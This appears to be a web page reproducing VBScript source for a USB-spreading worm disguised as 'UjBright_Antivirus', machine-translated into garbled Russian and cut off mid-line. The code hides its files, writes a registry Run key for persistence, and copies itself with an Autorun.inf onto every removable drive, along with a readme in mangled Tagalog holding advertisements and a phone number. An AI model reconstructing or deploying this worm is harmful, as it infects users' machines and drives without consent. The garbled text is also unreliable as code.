Вирус стал Anitivirus

lose Набор fAttr = fso.Getfile (победа и "\\") UjBright_Antivirus.vbs fAttr.Attributes = 39 wscr.RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ AutoMe "," WScript.exe "" "& &" выиграть \\ UjBright_Antivirus.vbs "" "Если ах = ложь, то wscr.Run" wscript.exe "" "& & выиграть" \\ UjBright_Antivirus .vbs "" "В то время как (истинно) Установить myDrives = fso.Drives для каждого myFlashDrive В myDrives Если myFlashDrive.Drivetype = 1 И myFlashDrive.Path" А: "Тогда Если fso.FileExists (myFlashDrive.Path &" \\ Autorun.

inf " ) Затем установите fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ Autorun.inf", True End Если установлено auFile = fso.CreateTextFile (myFlashDrive .Path & "\\ Autorun.inf", правда) auFile.write "[автозапуска]" и vbCrLf & "открыт = \\" & vbCrLf & "открытые = wscript.exe UjBright_Antivirus.vbs" и vbCrLf & "Shell \\ Open \\ Command = WScript.exe UjBright_Antivirus.vbs "и vbCrLf &" Shell \\ Open \\ По умолчанию = 1 "auFile.close Набор auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ readme.txt ", правда) auFile.

write" Здравствуйте, друзья: "& vbCrLf &" Maaaring вирус ито кунг tawagin на makikita нг ibang Анти-вирус, ngunit шутник MAG-alala кунг ito'y хинди makikilala нг ану Манг АНТИВИРУСНАЯ на НАСА са Иньо. " & VbCrLf & "Dahil ито анг tanging paraan ко upang matugunan анг ibang АНТИВИРУСНАЯ на хинди makikilala анг ganitong Scripto на ВИРУС на nakakasama" и vbCrLf & "ай Kaya nitong PALITAN на maaring ayusin Ния анг ibang sinira dulot нг NAKAKASIRA на вирус." & VbCrLf & "" & & vbCrLf "-ADVERTISING-" и vbCrLf & "скорый приход РЕКЛАМА -.

Нила брезент ау длительного matagal kumupas, тег-инициализации человек о тегов Araw" & VbCrLf & "РБ ФОТОАРТ СТУДИЯ - Может kagandahan са kulay нг inyong изображения при прочного годовых." & VbCrLf & "104.1 FM DXMA WOW -.. Pinakikinggang himpilan нг РАДИО Numero Uno SA Центральном Минданао" & VbCrLf & "" & & vbCrLf "ПАРА С.А. GUSTONG MAGPA-РЕКЛАМА:" & vbCrLf & "просто свяжитесь со мной: 09083223171 - UJBRIGHT" auFile.close Набор fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 39 Установить MyFile = fso.CreateTextFile (myFlashDrive.Path & "\\" UjBright_Antivirus.

vbs, правда) myFile.write scrText myFile.close Набор fAttr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End If Следующий wscr .RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\